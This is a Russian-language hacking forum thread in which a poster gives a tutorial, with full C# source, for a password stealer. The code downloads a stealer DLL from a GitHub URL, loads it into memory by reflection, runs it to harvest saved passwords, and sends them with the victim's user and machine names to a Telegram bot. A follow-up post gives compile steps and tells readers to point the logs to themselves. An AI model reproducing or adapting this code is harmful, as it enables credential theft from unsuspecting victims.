Интересно C# - Динамическая загрузка DLL (пишем стиллер в 9кб)

LightMan

Ufo Member
Сообщения
16
Реакции
26
Посетить сайт
:devilish: Привет, сегодня сделаем стиллер из говна и палок который будет догружать

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

в память и вызывать функцию которая будет вытаскивать пароли и отправлять нам в телегу.
Спасибо

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

за его

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

я спиздил позаимствовал оттуда плагин

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

и использовал его для этой статьи :sneaky:

Будем юзать пространство имен

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


Рефлексия представляет собой процесс выявления типов во время выполнения приложения. Каждое приложение содержит набор используемых классов, интерфейсов, а также их методов, свойств и прочих кирпичиков, из которых складывается приложение. И рефлексия как раз и позволяет определить все эти составные элементы приложения бла-бла-бля


Функция GetLibrary будет скачивать байты дллки стиллера
C#:
public static byte[] GetLibrary()
{
    byte[] dll = new byte[0];
    string url = "https://raw.githubusercontent.com/L1ghtM4n/DynamicStealer/main/DLL/PasswordStealer.dll";
    using (var client = new WebClient())
    {
        try {
            dll = client.DownloadData(url);
        } catch (WebException) {
            Environment.Exit(1);
        }
    }
    return dll;
}


Теперь напишем функцию GetPasswords которая
  • принимает байты дллки
  • загружает её
  • вызывает функцию оттуда
  • и возвращает пароли нам
C#:
public static string GetPasswords(byte[] dll)
{
    // Загрузить дллку
    Assembly asm = Assembly.Load(dll);
    // Создать экземпляр
    dynamic instance = Activator.CreateInstance(
        asm.GetType("PasswordStealer.Stealer"));
    // Получить функцию восстановления паролей из дллки
    MethodInfo runMethod = instance.GetType().GetMethod("Run",
        BindingFlags.Instance | BindingFlags.Public);
    // Вызов метода восстановления паролей
    string passwords = (string)runMethod.Invoke(
        instance, new object[] { });
    // Возвращаем пассы
    return passwords;
}


Функция UploadReport будет отправлять пароли в телегу
C#:
public static bool UploadReport(string passwords)
{
    string report = $"*New report*\n" +
        $"*UserName:* {Environment.UserName}\n" +
        $"*CompName:* {Environment.MachineName}\n\n" +
        $"*Passwords:* \n{passwords}";
    string telegram_api = "https://api.telegram.org/bot";
    using (var client = new WebClient())
    {
        try
        {
            string response = client.DownloadString(
                telegram_api + "<TOKEN>" +
                "/sendMessage?chat_id=<CHAT_ID>"+
                "&text=" + report +
                "&disable_web_page_preview=True" +
                "&parse_mode=Markdown"
            );
            return response.Contains("\"ok\":true,");
        }
        catch (WebException)
        {
            return false;
        }
    }
}

И главная функция
C#:
static void Main()
{
    // Это надо для правильной отправки
    ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls
                                         | SecurityProtocolType.Tls11
                                         | SecurityProtocolType.Tls12
                                         | SecurityProtocolType.Ssl3;

    byte[] dll = GetLibrary(); // Скачать байты dll
    string pwd = GetPasswords(dll); // Вызов методов dll и возврат паролей
    UploadReport(pwd); // Отправляем пароли боту Telegram
}




Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



Вот что получилось в конце:



 

Вложения

  • external-content.duckduckgo.com.jpeg
    external-content.duckduckgo.com.jpeg
    11 КБ · Просмотры: 3

LightMan

Ufo Member
Сообщения
16
Реакции
26
Посетить сайт
Проблемы с компиляцией, можете подсказать?
Какие именно проблемы?

1. Вам нужно скачать и установить Microsoft Visual Studio

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


2. При установке выбрать .NET desktop development

1614269889300.png


3. Запустить .sln файлик который вы скачали с гитхаба и дождаться загрузки VS
4. Подредачить код что-бы логи шли вам
5. Сверху выбрать Release и нажать Ctrl+B
6. В папке bin/Release будет ваш .ехе стиллер
 

tutanota

New Member
Сообщения
2
Реакции
0
Посетить сайт
Какие именно проблемы?

1. Вам нужно скачать и установить Microsoft Visual Studio

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


2. При установке выбрать .NET desktop development

Посмотреть вложение 5069


3. Запустить .sln файлик который вы скачали с гитхаба и дождаться загрузки VS
4. Подредачить код что-бы логи шли вам
5. Сверху выбрать Release и нажать Ctrl+B
6. В папке bin/Release будет ваш .ехе стиллер
(y) thanks